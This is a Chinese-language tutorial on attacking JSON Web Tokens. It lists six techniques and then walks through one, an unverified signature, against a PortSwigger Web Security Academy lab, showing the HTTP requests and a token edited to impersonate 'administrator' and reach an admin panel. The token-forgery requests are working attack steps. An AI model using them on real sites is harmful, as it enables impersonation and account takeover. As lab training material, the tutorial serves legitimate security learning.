简介
JWT攻击是使用者向网站发送修改后的JWT,目标是冒充另一个身份的使用者,并绕过身份验证和存取控制。 如果攻击者能够使用任意值创建自己的JWT有效令牌,他们能够升级自己的权限或冒充其他用户,完全控制他们的帐户。
JWT常见攻击手法有以下几种:
- 签名未验证
- JWT无签名
- 爆力破解对称式加密签名
- 用kid绕过对称式加密签名
- 用JWK绕过非对称式加密签名
- 用JKU绕过非对称式加密签名
关于JWT的介绍可参考json web token介绍
1.签名未验证
网站没有验证JWT签名,攻击者可以对JWT内容任意更改
举例如下,当存取admin页面时,返回只有administrator帐户才能使用
################ request ################
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...
################ response ################
...omit... only allow administrator ...omit...
使用JWT editor可以发现,token中的eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NjU3ODQxNH0等于以下
{
"iss": "portswigger",
"sub": "wiener",
"exp": 1656578414
}
透过JWT editor将上述内容改为administrator
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1656578414
}
此时token里这部份会变成eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9
送出编辑token后的请求,可成功存取admin介面
################ request ################
GET /admin HTTP/1.1
Host: 0a36001b04ccef7bc0a7741d006c0066.web-security-academy.net
Cookie:session=eyJraWQiOiI0ZjY1MzkzNC0yMTM3LTQzNGItYjE0OC0yNzg4Y2Y0OGRlMWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1Nzg0MTR9.Hp6sPpaIOCVwA34Eb2-h_pU2r6dUH_ZptjPt07uvKcF6z7PGUKWTV6ZQqXMoArudgF2E0WyAP0BYzoYZ1M4WVu4tUY3v_1Tnbf7-H_EqIDihcQ6KuxNaXNNPZw22GGvVgUdCsy3XgfZFH_LY5raFPpjavJ5aAOcqXG58zQlFYWcU5Kye2xB5AczvbDEDnpvQk00ygPBPSnXbV4JIk1jRJDM1suI5LN_tKn7LD_oBOwRGaJtreNekpV-8NXqbxzfjgVqAmHhQz6ZDxV-5LmiHT9yXVX7PdsUt5xhfrZYkTd_s8n6s0RvHvR1gwueVCplJqecZRRCkaAzwF9O1M9GwPw
Cache-Control: max-age=0
...omit...
################ response ################
...omit...
<section>
<p>User deleted successfully!</p>
<h1>Users</h1>
<div>
<span>wiener - </span>
<a href="/admin/delete?username=wiener">Delete</a>
...omit...